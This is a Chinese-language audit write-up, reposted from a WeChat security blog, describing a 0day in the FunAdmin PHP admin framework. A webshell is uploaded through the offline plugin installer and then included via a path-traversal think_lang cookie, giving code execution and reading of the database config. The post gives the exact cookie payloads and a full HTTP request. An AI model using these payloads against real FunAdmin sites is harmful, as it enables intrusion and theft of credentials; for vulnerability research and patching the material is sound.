Funadmin审计0day

渗透技巧 5个月前 admin
198 0 0

01

项目介绍

本篇文章为青山师傅代审实战案例分享

项目地址:

https://gitee.com/funadmin/funadmin

https://github.com/funadmin/funadmin


基于thinkphp8.X+Layui2.8.*+requirejs开发权限(RBAC)管理框架,框架中集成了权限管理、模块管理、插件管理、后台支持多主题切换、配置管理、会员管理等常用功能模块,以方便开发者快速构建自己的应用。框架专注于为中小企业提供最佳的行业基础后台框架解决方案,执行效率、扩展性、稳定性值得信赖,操作体验流畅,使用非常优化,欢迎大家使用及进行二次开发。


Funadmin审计0day



02

审计

最新版本程序目录

Funadmin审计0day

根据目录介绍得知为thinkphp框架
直接看漏洞点

在文件

app/backend/controller/Addon.php 

320-340行
根据注释的还有代码得知此处为离线安装插件功能
关键功能解压缩包 继续跟下去

Funadmin审计0day

文件

/vendor/funadmin/fun-addons/src/helper/ZipHelper.php
55-81行 unzip函数 得知插件解压目录为/ addons

Funadmin审计0day

没什么异常正常解压


于是把webshell压缩测试上传 

发现报错为

app/backend/controller/Addon.php

中的install函数的报错 

发现插件解压成功但插件并没安装成功

先是上传上压缩包

Funadmin审计0day


然后解压安装并报错

Funadmin审计0day


Funadmin审计0day


去网站插件根目录/addons查看,上传成功

Funadmin审计0day

此处虽然上传成功了但是无法访问到
该系统的根目录要求是/public
webshell在/ addons

直到看到

/app/ backend/controller/Ajax.php 

函数lang

Funadmin审计0day


其调用了一个loadlang函数 跟随过去

Funadmin审计0day


发现可以利用cookie进行文件包含  并且此处是全局调用
cookie名称如下

Funadmin审计0day

以前thinkphp貌似就爆出过这个漏洞

03

复现

全站任何地方使用cookie即可包含我们的shell

Cookie : think_lang=/../../../addons/shell;
也是成功执行我们的phpinfo();

Funadmin审计0day

除了rce外,还可以利用此漏洞进行任意文件读取

GET /backend/ajax/lang?controllername= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: keep-alive Cookie: think_lang=../../../config/database Host: ***************** Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36

构造

think_lang=../../../config/database

Funadmin审计0day

Funadmin审计0day




本篇文章为青山师傅代审实战案例分享

学习安全五年+,三分之二的白帽子,三分之一的科研er,欢迎加入我的知识星球,具体详情扫描了解

Funadmin审计0day

原文始发于微信公众号(梅苑安全学术):Funadmin审计0day

版权声明:admin 发表于 2023年11月26日 下午5:45。
转载请注明:Funadmin审计0day | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...